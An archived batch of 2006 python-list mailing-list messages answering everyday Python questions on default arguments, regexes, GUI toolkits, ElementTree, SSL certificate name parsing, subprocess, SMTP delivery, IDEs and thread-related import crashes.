	<1159913032.464542.17170@c28g2000cwb.googlegroups.com>
	<1159949735.804278.141340@i42g2000cwa.googlegroups.com>
Message-ID: <slrnei70jk.96l.nick@irishsea.home.craig-wood.com>

LaundroMat <Laundro at gmail.com> wrote:
>  I have in fact a bunch of functions that all pass similar information
>  to one main function. That function takes (amongst others) a template
>  variable. If it's not being passed, it is set to a default value by the
>  function called upon.
> 
>  For the moment, whenever a function calls the main function, I check
>  whether the calling function has the template variable set:
> 
> >>> if template:
> >>>    return mainFunction(var, template)
> >>> else:
> >>>    return mainFunction(var)
> 
>  Now, I thought this isn't the cleanest way to do things; so I was
>  looking for ways to initialize the template variable, so that I could
>  always return mainFunction(var, template). mainFunction() would then
>  assign the default value to template.
> 
> From your answers, this seems to be impossible. The minute my variable
>  is initialised, there's no way I can have mainFunction() assign a value
>  without explicitly asking it to do so.
> 
>  I guess the best way would then be to change mainFunction from:
> >>> def mainFunction(var, template='base'):
>  to
> >>> def mainFunction(var, template):
> >>> if len(template)=0:
> >>>    template = 'base'
> 
>  and have the calling functions call mainFunction (var, template) and
>  initialise template to ''.

None is the traditional value to use for value not present, then you'd
get this for the function

  def mainFunction(var, template=None):
    if template is None:
        template = 'base'

And this for the calling bit

  if not_set_properly(template):
     template = None
  return mainFunction(var, template)

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From blue99 at interia.pl  Thu Oct 19 03:35:19 2006
From: blue99 at interia.pl (Rob Wolfe)
Date: 19 Oct 2006 00:35:19 -0700
Subject: a little about regex
In-Reply-To: <mailman.744.1161241110.11739.python-list@python.org>
References: <mailman.669.1161155299.11739.python-list@python.org>
	<1161160990.381368.53770@m73g2000cwd.googlegroups.com>
	<mailman.744.1161241110.11739.python-list@python.org>
Message-ID: <1161243319.860170.97080@i3g2000cwc.googlegroups.com>


Fulvio wrote:

> Great,  it works perfectly. I found my errors.
> I didn't use r ahead of the patterns and i was close to the 'allow' pattern
> but didn't give positive result and KregexEditor reported wrong way. This
> specially because of '<' inside the stream. I thing that is not a normal
> regex input. It's only python valid. Am I right?

The sequence inside "(?...)" is an extension notation specific to
python.

Regards,
Rob



From simon at brunningonline.net  Mon Oct 16 11:14:42 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Mon, 16 Oct 2006 16:14:42 +0100
Subject: A Universe Set
In-Reply-To: <17715.38231.442697.32444@montanaro.dyndns.org>
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
	<0dMYg.105676$5o5.58612@tornado.texas.rr.com>
	<17715.38231.442697.32444@montanaro.dyndns.org>
Message-ID: <8c7f10c60610160814i3baec2eevd1ab61baea6f5ab7@mail.gmail.com>

On 10/16/06, skip at pobox.com <skip at pobox.com> wrote:
>
> You're at the mercy of the comparison machinery implemented by individual
> classes.

Plus, if you put a wildcard object into a set (or use it as a
dictionary key) you'll confuse yourself horribly.

I know I did. ;-)

-- 
Cheers,
Simon B
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From antroy at gmail.com  Fri Oct  6 12:01:26 2006
From: antroy at gmail.com (Ant)
Date: 6 Oct 2006 09:01:26 -0700
Subject: Bug in re module?
In-Reply-To: <just-318330.17563506102006@news1.news.xs4all.nl>
References: <1160149779.553564.9210@m7g2000cwm.googlegroups.com>
	<1160150048.211740.175620@k70g2000cwa.googlegroups.com>
	<just-318330.17563506102006@news1.news.xs4all.nl>
Message-ID: <1160150485.372442.35570@i42g2000cwa.googlegroups.com>


Just wrote:

> Try ?: instead of :?

Duh. Put it down to Friday afternoon!

:-\

Don't know what I was thinking that something as high profile as that
could slip through the net!!



From john106henry at hotmail.com  Tue Oct 24 02:02:02 2006
From: john106henry at hotmail.com (John Henry)
Date: 23 Oct 2006 23:02:02 -0700
Subject: python GUIs comparison (want)
In-Reply-To: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
Message-ID: <1161669722.540459.96130@e3g2000cwe.googlegroups.com>


jiang.haiyun at gmail.com wrote:
> Now i began to learn GUI programming. There are so many
> choices of GUI in the python world, wxPython, pyGTK, PyQT,
> Tkinter, .etc, it's difficult for a novice to decide, however.
> Can you draw a comparison among them on easy coding, pythonish design,
> beautiful and generous looking, powerful development toolkit, and
> sufficient documentation, .etc.
> It's helpful for a GUI beginner.
> Thank you.
>
>
> :)Sorry for my poor english.

I like Pythoncard.  Simple.  Get the job done fast.



From fredrik at pythonware.com  Sun Oct 15 10:52:22 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 15 Oct 2006 16:52:22 +0200
Subject: Problem with importing a package
In-Reply-To: <1160906249.129975.226020@k70g2000cwa.googlegroups.com>
References: <1160906249.129975.226020@k70g2000cwa.googlegroups.com>
Message-ID: <egthv6$3vv$1@sea.gmane.org>

amitsoni.1984 at gmail.com wrote:

> I have to work with matrices on python and for that i need a package
> NUMPY. I downloaded it and saved it in the same folder as the program
> which imports it. But on running the program it gives an error
> "ImportError: No module named numpy". Do we need to save the file
> required to be imported in a specific folder?

did you follow the installation instructions supplied with that library?

</F>



From fredrik at pythonware.com  Sat Oct 21 02:29:08 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 21 Oct 2006 08:29:08 +0200
Subject: Using cElementTree and elementtree.ElementInclude
In-Reply-To: <453941D4.1000909@bloglines.com>
References: <453941D4.1000909@bloglines.com>
Message-ID: <ehcenf$g7f$1@sea.gmane.org>

Mark wrote:

> I have an elementtree created with cElementTree. I then use 
> ElementInclude to resolve some xinclude elements. But then I want to 
> move those included elements to be children of the root
> 
> root.append(included_child)
> 
> but I get an error message
> 
> TypeError: 'append() argument 1 must be Element, not instance'

cElementTree cannot hold ElementTree instances.

can you post a small but self-contained example showing how you got this 
error?

</F>



From hat at se-126.se.wtb.tue.nl  Thu Oct 12 03:50:10 2006
From: hat at se-126.se.wtb.tue.nl (A.T.Hofkamp)
Date: Thu, 12 Oct 2006 09:50:10 +0200
Subject: sufficiently pythonic code for testing type of function
References: <mailman.259.1160543174.11739.python-list@python.org>
	<452cab5d$0$5294$426a74cc@news.free.fr>
	<slrneiq1fr.fm8.hat@se-126.se.wtb.tue.nl>
	<452d0f3c$0$31382$426a34cc@news.free.fr>
Message-ID: <slrneirsti.gjq.hat@se-126.se.wtb.tue.nl>

On 2006-10-11, Bruno Desthuilliers <onurb at xiludom.gro> wrote:
> A.T.Hofkamp wrote:
>> On 2006-10-11, Bruno Desthuilliers <onurb at xiludom.gro> wrote:
>>> Now the real question : what if the object is not an instance of any of
>>> the types, but still support the expected interface ?
>>>
>> 
>> one possible answer: Use ZopeInterfaces
>> (and ask objects 'do you implement interface X' rather than 'are you type Y')
>> 
>> Not sure what options you have when dealing with builtin data types however.
>
> This was mostly a rethorical question...
>
And even for rethorical questions, Python already provides a solution.. :-)

Albert


From mrquantum at holon.at  Wed Oct  4 06:30:30 2006
From: mrquantum at holon.at (mrquantum)
Date: Wed, 04 Oct 2006 12:30:30 +0200
Subject: string: __iter__()?
References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>
Message-ID: <68c55$45238d46$506d0b9f$12642@news.chello.at>

Am Wed, 04 Oct 2006 11:59:07 +0200 schrieb mrquantum:

> Hello!
> 
> Just for curiosity i'd like to know why strings don't support the
> iteration protocoll!? Is there some deeper reason for this?
> 

Sorry, was to hasty by saying "... don't support the iteration
protocol'! Sure they do, as the iter('SomeString') function or the
construction for c in 'SomeString' show.

It's just not implemented by a __iter__ method of the string in question!


From anthra.norell at vtxmail.ch  Sat Oct 14 17:21:34 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Sat, 14 Oct 2006 23:21:34 +0200
Subject: Insert characters into string based on re ?
In-Reply-To: <1160692180.139410.302410@f16g2000cwb.googlegroups.com>
References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com>
Message-ID: <453154DE.80105@vtxmail.ch>

Matt wrote:
> I am attempting to reformat a string, inserting newlines before certain
> phrases. For example, in formatting SQL, I want to start a new line at
> each JOIN condition. Noting that strings are immutable, I thought it
> best to spllit the string at the key points, then join with '\n'.
>
> Regexps can seem the best way to identify the points in the string
> ('LEFT.*JOIN' to cover 'LEFT OUTER JOIN' and 'LEFT JOIN'), since I need
> to identify multiple locationg in the string. However, the re.split
> method returns the list without the split phrases, and re.findall does
> not seem useful for this operation.
>
> Suggestions?
>
>   

Matt,

   You may want to try this solution:

 >>> import SE

 >>> Formatter = SE.SE (' "~(?i)(left|inner|right|outer).*join~=\n=" ')  
# Details explained below the dotted line
 >>> print Formatter ('select id, people.* from ids left outer join 
people where ...\nSELECT name, job from people INNER JOIN jobs WHERE 
...;\n')
select id, people.* from ids
left outer join people where ...
SELECT name, job from people
INNER JOIN jobs where ...;

You may add other substitutions as required one by one, interactively 
tweaking each one until it does what it is supposed to do:

 >>> Formatter = SE.SE ('''
    "~(?i)(left|inner|right|outer).*join~=\n  ="  # Add an indentation
    "where=\n  where"  "WHERE=\n  WHERE"          # Add a newline also 
before 'where'
    ";\n=;\n\n"                                   # Add an extra line feed
    "\n=;\n\n"                                    # And add any missing 
semicolon
    # etc.
''')

 >>> print Formatter ('select id, people.* from ids left outer join 
people where ...\nSELECT name, job from people INNER JOIN jobs WHERE 
...;\n')
select id, people.* from ids
  left outer join people
  where ...;

SELECT name, job from people
  INNER JOIN jobs
  WHERE ...;


http://cheeseshop.python.org/pypi?:action=display&name=SE&version=2.3


Frederic


----------------------------------------------------------------------------------------------------------------------

The anatomy of a replacement definition

 >>> Formatter = SE.SE (' "~(?i)(left|inner|right|outer).*join~=\n=" ')
                                                        
target=substitute   (first '=')

 >>> Formatter = SE.SE (' "~(?i)(left|inner|right|outer).*join~=\n=" ')
                                                                 = (each 
following '=' stands for matched target) 

 >>> Formatter = SE.SE (' "~(?i)(left|inner|right|outer).*join~=\n=" ')
                          ~                                  ~ (contain 
regular expression)

 >>> Formatter = SE.SE (' "~(?i)(left|inner|right|outer).*join~=\n=" ')
                         "                                        " 
(contain definition containing white space)



From python.list at tim.thechases.com  Sat Oct 28 09:43:22 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Sat, 28 Oct 2006 08:43:22 -0500
Subject: Mass-Renaming folders win32
In-Reply-To: <1162040470.766276.75900@m73g2000cwd.googlegroups.com>
References: <1162040470.766276.75900@m73g2000cwd.googlegroups.com>
Message-ID: <45435E7A.9010109@tim.thechases.com>

> I've a folder structure like this :
> 
> "Folder A"
> |--> "1"
> |--> "2"
> ---> "3"
> 
> "Folder B"
> |--> "4"
> ---> "5"
> 
> And I want to obtain a structure like this :
> 
> "Folder A - 1"
> "Folder A - 2"
> "Folder A - 3"
> "Folder B - 4"
> "Folder B - 5"
> 
> Can someone help me ? I am python beginner

I'd try something like:

import os
from shutil import move

for path, dirs, files in os.walk('.'):
   if path <> os.curdir and files:
     # the "2:" strips of the ".[os.sep]" at the beginning
     newdir = path[2:].replace(os.sep, ' - ')
     try:
       os.mkdir(newdir)
       for f in files:
         try:
           move(
             os.sep.join([path, f]),  #the old location
             os.sep.join([newdir, f]) #the new location
             )
         except:
           print 'Could not move %s to %s' % (f, newdir)
     except:
       print 'Could not create %s' % newdir



It doesn't clean up the original directories along the way, but 
that may be better, depending on the nesting depth of your 
directories...you'd want to make sure that you deal with all the 
files within a directory before deleting it.

Feel free to tweak as needed.

-tkc








From g.brandl-nospam at gmx.net  Sun Oct 22 14:08:00 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Sun, 22 Oct 2006 20:08:00 +0200
Subject: pylint: What's wrong with the builtin map()
In-Reply-To: <MnO_g.219$P33.22@read3.inet.fi>
References: <MnO_g.219$P33.22@read3.inet.fi>
Message-ID: <ehgc24$6vh$1@news.albasani.net>

Tuomas wrote:
> #!/usr/bin/python
> """test pydev_0.9.3/../pylint"""
> __revision__ = "test_mod 0.1 by TV 06/10/22"
> 
> lst = ['aaa', ' bbb', '\tccc\n']
> lst = map(lambda x: x.strip(), lst)
> 
> result = """
> No config file found, using default configuration
> ************* Module test_mod
> W:  6: Used builtin function 'map'
> E:  6: Using variable 'x' before assigment

Some people think that all occurences of map() must be replaced
by list comprehensions. The designer of pylint seems to be
one of those.

Georg


From jweida at gmail.com  Tue Oct 24 21:54:31 2006
From: jweida at gmail.com (Jerry)
Date: 24 Oct 2006 18:54:31 -0700
Subject: How to find out the directory that the py file is in?
In-Reply-To: <1161738784.293256.113900@m73g2000cwd.googlegroups.com>
References: <1161733168.997417.298450@i42g2000cwa.googlegroups.com>
	<mailman.1121.1161734482.11739.python-list@python.org>
	<1161738784.293256.113900@m73g2000cwd.googlegroups.com>
Message-ID: <1161741271.429510.43180@i3g2000cwc.googlegroups.com>

import os
print os.path.dirname(os.path.abspath(__file__))

--
Jerry



From martin at v.loewis.de  Tue Oct  3 08:39:56 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 03 Oct 2006 14:39:56 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
Message-ID: <45225A1C.8060106@v.loewis.de>

Giovanni Bajo schrieb:
 > I just read this mail by Brett Cannon:
> http://mail.python.org/pipermail/python-dev/2006-October/069139.html
> where the "PSF infrastracture committee", after weeks of evaluation, recommends
> using a non open source tracker (called JIRA - never heard before of course)
> for Python itself.
> 
> Does this smell "Bitkeeper fiasco" to anyone else than me?

It's significantly different from the Bitkeeper fiasco in two important
ways:
1. Bitkeeper is a source revisioning system, so it is similar to CVS
   and Subversion. This project here is "just" the bug tracker, which is
   of lesser  importance. If we move to a different one some day, a
   certain amount of data lossage might be acceptable (e.g. we now
   likely lose the "history" of status changes and file attachments on
   each report). An export of all data is high on the requirements list,
   as Fredrik points out.
2. None of these systems require a specialized client. A plain
   web browser will do. IIRC, non-availibility of the Bitkeeper
   client (or: re-engineering of the existing one) was what really
   caused the fiasco. The same fiasco is not possible for the
   bug tracker.

Regards,
Martin


From alan.franzoni.xyz at gmail.com  Tue Oct 10 06:12:03 2006
From: alan.franzoni.xyz at gmail.com (Alan Franzoni)
Date: Tue, 10 Oct 2006 12:12:03 +0200
Subject: Converting MSWord Docs to PDF
References: <mailman.185.1160469513.11739.python-list@python.org>
Message-ID: <3xcvr5rf00a4.410dnyrt3qkr$.dlg@40tude.net>

Il Tue, 10 Oct 2006 01:27:35 -0700, melv at awc.edu ha scritto:

> is it possible to convert MSword docs into PDF format?
> i told my future employer that i could, because i knew
> of the COM scripting abilites that activePython had.
> and i knew there was modules for PDF creation such as
> reportlabs.

a lot depends on the availability of ms word itself on the platform you're
planning to do the work, if you want the result to be perfect. There're
several tools on Windows (some cheap, some freeware) like FreePDF o
pdffactory, which act like 'Virtual Printers' producing a PDF file instead;
you could try using Python to automate the printing process and getting the
PDF output instead. Or if you've got access to Adobe Acrobat as well, you
could automate the whole process via Acrobat (but it's untested, don't take
it as granted).

If you're doing this in Linux, you should consider something like Crossover
Office in order to run ms word and convert its output.

The openoffice.org based solution will surely work, but you'll heavily rely
on the conversion quality of that suite.

-- 
Alan Franzoni <alan.franzoni.xyz at gmail.com>
-
Togli .xyz dalla mia email per contattarmi.
Rremove .xyz from my address in order to contact me.
-
GPG Key Fingerprint:
5C77 9DC3 BD5B 3A28 E7BC 921A 0255 42AA FE06 8F3E 
-
Blog: http://laterradeglieroi.verdiperronchi.com


From tjreedy at udel.edu  Sun Oct  8 18:28:52 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 8 Oct 2006 18:28:52 -0400
Subject: recommendations for personal journaling application
References: <1160330083.041100.127480@e3g2000cwe.googlegroups.com>
Message-ID: <egbu34$sn6$1@sea.gmane.org>


"Donnie Rhodes" <daddyb at gmail.com> wrote in message 
news:1160330083.041100.127480 at e3g2000cwe.googlegroups.com...
keyword/keyphrase.
>
> So what I'm interested in is how this would work. Is this 'event
> driven' in nature?

I would call it line-input driven -- a special case that is easier to 
program.

> Would I define the bulk of these slash commands in a
> function and then call it at the end of the script?

I would consider a dict mapping command letters to functions.

tjr





From nagle at animats.com  Fri Oct 27 02:03:34 2006
From: nagle at animats.com (John Nagle)
Date: Fri, 27 Oct 2006 06:03:34 GMT
Subject: Obtaining SSL certificate info from SSL object - BUG?
In-Reply-To: <j76714-9nf.ln1@nb2.stroeder.com>
References: <453D95EA.1020602@animats.com> <j76714-9nf.ln1@nb2.stroeder.com>
Message-ID: <Wih0h.16921$TV3.5678@newssvr21.news.prodigy.com>

Michael Str?der wrote:
> John Nagle wrote:
> 
>>    The Python SSL object offers two methods from obtaining
>>the info from an SSL certificate, "server()" and "issuer()".
>>The actual values in the certificate are a series of name/value
>>pairs in ASN.1 binary format.  But what "server()" and "issuer()"
>>return are strings, with the pairs separated by "/".  The
>>documentation at "http://docs.python.org/lib/ssl-objects.html"
>>says "Returns a string containing the ASN.1 distinguished name
>>identifying the server's certificate. (See below for an example showing
>>what distinguished names look like.)"  There is, however, no "below".
>>
>>What you actually get back looks like this, which is Google's certificate:
>>
>>"/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com"
>>
>>So, no problem; just split on "/", right?
>>
>>Unfortunately, "/" is a legal character in certificate values.
> 
> 
> You hit a really serious problem: There's no completely well-defined
> string representation format for distinguished names used in X.509
> certificates. The format above is what OpenSSL used in the beginning.
> Yuck! IMO this is also a security problem in some cases.
> 
> The best thing would be to stick to RFC 4514 (formerly RFC 2253:
> Lightweight Directory Access Protocol (LDAP): String Representation of
> Distinguished Names). It defines a UTF-8-based string representation.
...
> Guess the second is what Python SSL object also should return. No idea
> whether this is available at OpenSSL's API level.
> 
     That's exactly what I suggested in my Python bug report update.

     OpenSSL has all the right functions.  Almost.

     OpenSSL has "X509_NAME_oneline()" which is deprecated, which Python
is using, and which uses "/" as a delimiter without escaping "/" in
content.

     OpenSSL also has "X509_NAME_print_ex", which does the right
thing - outputs a UTF8 string in RFC 2253 format, with all the
right escapes and Unicode compatibility if you ask for Unicode
output.

     Unfortunately, "X509_NAME_print_ex" is set up to output to
an I/O port, not a string.  There's no comparable function in
OpenSSL to edit that info to a string.

     All the right machinery to do the job is in

	openssl/crypto/asn1/a_strex.c

but they ran into a classic C problem.  They have code designed
to output to a stream of infinite length, and don't have a way
to get the target length down to the copy function.  Take look at
"send_mem_chars" in that file, which is turned off.  If it were
used, it would have buffer overflow potential.  This could be
fixed, but it's a pain.  It's local to that file, though;
someone who owns that code could fix it in an hour.

     X509_NAME_oneline(), the deprecated function, is in a
completely separate file and doesn't handle the hard cases at all.

     The same problem was reported in Apache mod_ssl back in 2004.  See

http://mail-archives.apache.org/mod_mbox/httpd-dev/200410.mbox/%3C54f1458d04101510173c5c4e00 at mail.gmail.com%3E

     And it had to be fixed in OpenCA.  See

http://www.mail-archive.com/openca-devel at lists.sourceforge.net/msg02672.html

     Also, there may be an exploitable bug in MySQL that depends on this.  See

	http://bugs.mysql.com/bug.php?id=17208

Get the OpenSSL people to fix their API, and the Python fix will
be a one-line change.


				John Nagle


From gagsl-py at yahoo.com.ar  Tue Oct 17 14:47:04 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 17 Oct 2006 15:47:04 -0300
Subject: OT: What's up with the starship?
In-Reply-To: <T4mdnYydUMLlWKnYnZ2dnUVZ_o-dnZ2d@speakeasy.net>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
	<mailman.580.1161021410.11739.python-list@python.org>
	<1161021960.792970.238240@m73g2000cwd.googlegroups.com>
	<mailman.584.1161023364.11739.python-list@python.org>
	<1161025636.641534.282290@f16g2000cwb.googlegroups.com>
	<mailman.593.1161028270.11739.python-list@python.org>
	<T4mdnYydUMLlWKnYnZ2dnUVZ_o-dnZ2d@speakeasy.net>
Message-ID: <7.0.1.0.0.20061017153512.03c8c328@yahoo.com.ar>

At Tuesday 17/10/2006 08:58, A.M. Kuchling wrote:

>It might well be difficult to exploit to run arbitrary code because
>your exploit code needs to have no unprintable bytes in it; repr()
>turns unprintable characters into \xNN, after all, and isn't doing a
>straightforward string copy.  (But hackers can be very clever...)

Someone made years ago an UUDecode executable program consisting 
entirely of printable ASCII characteres (.COM, for DOS, might still 
work on XP...)


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From clodoaldo.pinto at gmail.com  Tue Oct 17 07:02:21 2006
From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto)
Date: 17 Oct 2006 04:02:21 -0700
Subject: Output from subprocess.Popen()
References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com>
	<1161033460.506489.96820@b28g2000cwb.googlegroups.com>
	<mailman.600.1161034297.11739.python-list@python.org>
	<1161044891.272758.88420@h48g2000cwc.googlegroups.com>
	<mailman.609.1161063555.11739.python-list@python.org>
Message-ID: <1161082941.581927.36740@e3g2000cwe.googlegroups.com>

Fredrik Lundh wrote:
> Clodoaldo Pinto Neto wrote:
>
> > But I still don't understand what is happening. The manual says that
> > when shell=True the executable argument specifies which shell to use:
>
> no, it says that when shell=True, it runs the command "through" the
> default shell.  that is, it hands it over to the shell for execution,
> pretty much as if you'd typed it in yourself.

"If shell=True, the executable argument specifies which shell to use."

Taken from 6.8.1 v2.4:

"The executable argument specifies the program to execute. It is very
seldom needed: Usually, the program to execute is defined by the args
argument. If shell=True, the executable argument specifies which shell
to use. On Unix, the default shell is /bin/sh. On Windows, the default
shell is specified by the COMSPEC environment variable."



From nick at craig-wood.com  Sat Oct 14 01:33:51 2006
From: nick at craig-wood.com (Nick Craig-Wood)
Date: Sat, 14 Oct 2006 00:33:51 -0500
Subject: building extensions for Windows Python
References: <pan.2006.10.13.15.39.25.338194@bellsouth.net>
	<1160756760.071171.298590@b28g2000cwb.googlegroups.com>
Message-ID: <slrneivvn3.6t2.nick@irishsea.home.craig-wood.com>

olsongt at verizon.net <olsongt at verizon.net> wrote:
>  To build an extension that runs on a generic python 2.5 you need a
>  Windows OS (suprise!) and VS.NET 2003.  Some people may have had some
>  success with MinGW32 (on windows) but it's not going to work
>  'out-of-the-box'.

Neither of those statements are true.  It is fairly easy to build
python extensions using mingw hosted on linux which work with the
standard python.org install - see my other post in this thread.

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From heikki at osafoundation.org  Fri Oct 13 20:30:35 2006
From: heikki at osafoundation.org (Heikki Toivonen)
Date: Fri, 13 Oct 2006 17:30:35 -0700
Subject: wing ide vs. komodo?
In-Reply-To: <mailman.483.1160772175.11739.python-list@python.org>
References: <2nRXg.108$1n3.2866@news.tufts.edu>	<mailman.480.1160767168.11739.python-list@python.org>	<tURXg.27343$Go3.5193@dukeread05>	<mailman.481.1160768935.11739.python-list@python.org>	<18SXg.27347$Go3.9933@dukeread05>	<mailman.482.1160769808.11739.python-list@python.org>	<452ff5e4$0$1771$c3e8da3@news.astraweb.com>
	<mailman.483.1160772175.11739.python-list@python.org>
Message-ID: <p--dnQ3IBqpvsq3YnZ2dnUVZ_rOdnZ2d@comcast.com>

> "Eric is becoming an integral part of our Python development here at
> Fluent. It's ability to set and trigger breakpoints in any thread is
> unlike any other Python debugger we have tried. Through Eric's easy to
> use interface and tight integration with PyQt, it has helped reduce
> our debugging time, particularly on Windows platforms where it is used
> heavily."
> 
> --- Andrew Bushnell, Fluent Inc.

I have found that both Komodo and Pydev can do this.

Wing IDE does not (although you can debug any single thread). They are
open to suggestions though, so if there is demand I am sure they would
add it.

Personally I have used Wing IDE, Komodo and Pydev. I think Wing IDE has
the best debugging experience (for single threaded apps), and is the
fastest. I really like the regex tool in Komodo, but eventually I more
or less stopped using it. I am currently a Pydev user. I like Pydev
because it is open source, cross platform, supports multi-threaded
debugging, and simply because Eclipse provides so much stuff (although
it is a pretty steep learning curve and it has its own annoyances).

-- 
  Heikki Toivonen


From skip at pobox.com  Thu Oct 12 15:35:40 2006
From: skip at pobox.com (skip at pobox.com)
Date: Thu, 12 Oct 2006 14:35:40 -0500
Subject: paseline(my favorite simple script): does something similar exist?
In-Reply-To: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
Message-ID: <17710.39180.382703.728657@montanaro.dyndns.org>


    Rick> def parseline(line,format):
    Rick>     xlat = {'x':None,'s':str,'f':float,'d':int,'i':int}
    Rick>     result = []
    Rick>     words = line.split()
    Rick>     for i in range(len(format)):
    Rick>         f = format[i]
    Rick>         trans = xlat.get(f,'None')
    Rick>         if trans: result.append(trans(words[i]))
    Rick>     if len(result) == 0: return None
    Rick>     if len(result) == 1: return result[0]
    Rick>     return result

Note that your setting and testing of the trans variable is problematic.  If
you're going to use xlat.get(), either spell None correctly or take the
default:

    trans = xlat.get(f)
    if trans:
        result.append(trans(words[i]))

As Paul indicated though, it would also be better to not to silently let
unrecognized format characters pass.  I probably wouldn't let KeyError float
up to the caller though:

    trans = xlat.get(f)
    if trans:
        result.append(trans(words[i]))
    else:
        raise ValueError, "unrecognized format character %s" % f

Finally, you might consider doing the splitting outside of this function and
pass in a list.  That way you could (for example) easily pass in a row of
values read by the csv module's reader class (untested):

    def format(words, fmt):
        xlat = {'x':None,'s':str,'f':float,'d':int,'i':int}
        result = []
        for i in range(len(fmt)):
            f = fmt[i]
            trans = xlat.get(f)
            if trans:
                result.append(trans(words[i]))
            else:
                raise ValueError, "unrecognized format character %s" % f
        return result

    Rick> I'm posting this here because (1) I'm feeling smug at what a
    Rick> bright little coder I am, and (2) (in a more realistic and humble
    Rick> frame of mind) I realize that many many people have probably found
    Rick> solutions to similar needs, and I'd imaging that many are better
    Rick> than the above. I would love to hear how other people do similar
    Rick> things.

It seems quite clever to me.

Skip


From fredrik at pythonware.com  Tue Oct 24 05:08:32 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 11:08:32 +0200
Subject: Tkinter question
References: <20061023180741.71666.qmail@web56002.mail.re3.yahoo.com><mailman.1043.1161671757.11739.python-list@python.org>
	<op.thwzz6lqrqur0o@eb.pragmadev>
Message-ID: <ehkl6g$un1$1@sea.gmane.org>

Eric Brunel wrote:

> But Hendrik's solution is better, since it avoids the use of lambda, which
> is often difficult to understand.

storing the button reference in a variable doesn't help if you want to use the
same callback for multiple buttons, though...

</F> 





From grante at visi.com  Mon Oct 16 15:31:24 2006
From: grante at visi.com (Grant Edwards)
Date: Mon, 16 Oct 2006 19:31:24 -0000
Subject: How to send E-mail without an external SMTP server ?
References: <mailman.553.1160976477.11739.python-list@python.org>
	<1160981517.845397.173540@h48g2000cwc.googlegroups.com>
	<mailman.556.1160984073.11739.python-list@python.org>
	<1160984719.088664.76350@e3g2000cwe.googlegroups.com>
	<mailman.559.1160989638.11739.python-list@python.org>
	<slrnej7krm.o0t.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <12j7ngc7k83ev0d@corp.supernews.com>

On 2006-10-16, Sybren Stuvel <sybrenUSE at YOURthirdtower.com.imagination> wrote:

>> Yes, I want to find a way to send email without an external
>> smtp server.
>
> You can't. Use a DNS server to find the MX record of the
> destination domain, connect to that SMTP server, then deliver
> the mail.

Or, just send it to a relay server for which you have
privledges. Those are the two choices, and both mean using an
SMTP server.

-- 
Grant Edwards                   grante             Yow!  Gibble, Gobble, we
                                  at               ACCEPT YOU...
                               visi.com            


From no-spam at no-spam-no-spam.com  Mon Oct 30 08:49:24 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Mon, 30 Oct 2006 14:49:24 +0100
Subject: import in threads: crashes & strange exceptions on dual core machines
Message-ID: <ei4vtc$220$1@news.albasani.net>

I get python crashes and (in better cases) strange Python exceptions when (in most cases) importing and using cookielib lazy on demand in a thread. 
It is mainly with cookielib, but remember the problem also with other imports (e.g. urllib2 etc.). 
And again very often in all these cases where I get weired Python exceptions, the problem is around re-functions - usually during re.compile calls during import (see some of the exceptions below). But not only.

Very strange: The errors occur almost only on machines with dual core/multi processors - and very very rarely on very fast single core machines (>3GHz).

I'm using Python2.3.5 on Win with win32ui (build 210) - the cookielib taken from Python 2.5.

I took care that I'm not starting off thread things or main application loop etc. during an import (which would cause a simple & explainable deadlock freeze on the import lock)

With real OS-level crashes I know from user reports (packaged app), that these errors occur very likely early after app start - thus when lazy imports are likely to do real execution.

I researched this bug for some time. I think I can meanwhile exclude (ref-count, mem.leak) problems in win32ui (the only complex extension lib I use) as cause for this. All statistics point towards import problems.

Any ideas?
Are there problems known with the import lock (Python 2.3.5) ?

(I cannot easily change from Python 2.3 and it takes weeks to get significant feedback after random improvements)

-robert

PS:

The basic pattern of usage is:

==================
def f():
            ...
            opener = urlcookie_openers.get(user)
            if not opener:
                import cookielib                        #<----1
                cj=cookielib.CookieJar()                #<----2  
                build_opener = urllib2.build_opener
                httpCookieProcessor = urllib2.HTTPCookieProcessor(cj)
                if url2_proxy:
                    opener = build_opener(url2_proxy,httpCookieProcessor)
                else:
                    opener = build_opener(httpCookieProcessor)
                opener.addheaders   #$pycheck_no
